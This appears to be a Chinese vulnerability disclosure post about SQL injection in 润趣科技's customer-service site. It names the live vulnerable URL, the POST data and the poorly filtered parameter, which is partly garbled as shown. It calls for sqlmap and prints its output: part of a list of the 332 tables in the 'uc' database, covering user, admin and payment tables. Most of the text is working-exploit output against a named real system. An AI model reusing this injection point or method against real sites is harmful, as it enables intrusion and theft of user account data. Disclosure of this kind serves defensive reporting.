润趣科技SQL注入漏洞润趣科技sql注入漏洞,危及百万用户账户安全具体注入点在润趣客服,为post注入漏洞
注入点:
http://kf.runich.com/index.php/Bug/getzones
post数据,
ajax=1>id=11
参数gtid过滤不严,导致注入
请出sqlmap
Database: uc
[332 tables]
+-----------------------------------+
| ccf_user |
| cfill_user |
| clog_user |
| rc_accode |
| rc_accountrate |
| rc_activation |
| rc_activation_item |
| rc_activationlog |
| rc_activationlog_100 |
| rc_activationlog_18 |
| rc_activationlog_29 |
| rc_activationlog_37 |
| rc_activationlog_44 |
| rc_activationlog_45 |
| rc_activationlog_46 |
| rc_activationlog_47 |
| rc_activationlog_48 |
| rc_activationlog_49 |
| rc_activationlog_5 |
| rc_activationlog_50 |
| rc_activationlog_51 |
| rc_activationlog_52 |
| rc_activationlog_54 |
| rc_activationlog_55 |
| rc_activationlog_57 |
| rc_activationlog_58 |
| rc_activationlog_59 |
| rc_activationlog_60 |
| rc_activationlog_61 |
| rc_activationlog_62 |
| rc_activationlog_63 |
| rc_activationlog_64 |
| rc_activationlog_65 |
| rc_activationlog_66 |
| rc_activationlog_67 |
| rc_activationlog_68 |
| rc_activationlog_69 |
| rc_activationlog_70 |
| rc_activationlog_71 |
| rc_activationlog_72 |
| rc_activationlog_73 |
| rc_activationlog_74 |
| rc_activationlog_75 |
| rc_activationlog_76 |
| rc_activationlog_77 |
| rc_activationlog_78 |
| rc_activationlog_79 |
| rc_activationlog_8 |
| rc_activationlog_80 |
| rc_activationlog_81 |
| rc_activationlog_82 |
| rc_activationlog_83 |
| rc_activationlog_84 |
| rc_activationlog_85 |
| rc_activationlog_86 |
| rc_activationlog_87 |
| rc_activationlog_88 |
| rc_activationlog_89 |
| rc_activationlog_90 |
| rc_activationlog_91 |
| rc_activationlog_92 |
| rc_activationlog_93 |
| rc_activationlog_94 |
| rc_activationlog_95 |
| rc_activationlog_96 |
| rc_activationlog_97 |
| rc_activationlog_98 |
| rc_activationlog_99 |
| rc_activefiend |
| rc_activity |
| rc_activity_friend |
| rc_activity_friend_log |
| rc_activity_get_friend |
| rc_activity_integral |
| rc_activity_invitefriend |
| rc_activity_invitefriend_log |
| rc_activity_pw |
| rc_activity_qlzfriend |
| rc_activity_supstar |
| rc_activity_type |
| rc_activity_user |
| rc_activity_video |
| rc_ad_open_count |
| rc_ad_search_list |
| rc_add_item |
| rc_addicted |
| rc_addicted1 |
| rc_admin |
| rc_aduser |
| rc_advertisers |
| rc_agentbar |
| rc_agentbar_user |
| rc_agentbarip |
| rc_agentgroup |
| rc_agentnotice |
| rc_agentuser |
| rc_agentwork |
| rc_anniver_gift_log |
| rc_announce |
| rc_area |
| rc_area_games |
| rc_area_games_novice_card |
| rc_auto_traffic |
| rc_backlog |
| rc_bankcode |
| rc_batchno |
| rc_batchno_user |
| rc_bind_rqb_log |
| rc_bug |
| rc_cafe |
| rc_cafe_list |
| rc_cafemedia |
| rc_cafereg |
| rc_card |
| rc_cardlog |
| rc_cardrate |
| rc_cardtype |
| rc_cdkey_changeitem |
| rc_charcoinlog |
| rc_charge_integral |
| rc_charge_integral_log |
| rc_charge_stats |
| rc_city |
| rc_client_run |
| rc_clientinstall |
| rc_clog |
| rc_clog_merchant |
| rc_clog_temp |
| rc_clog_temp2 |
| rc_clog_temp3 |
| rc_clog_temp4 |
| rc_clog_temp5 |
| rc_clog_temp6 |
| rc_clog_temp7 |
| rc_clog_temp8 |
| rc_coin |
| rc_coin_bak |
| rc_coin_log |
| rc_command_log |
| rc_complaint |
| rc_customer_service_announce |
| rc_customer_service_connect |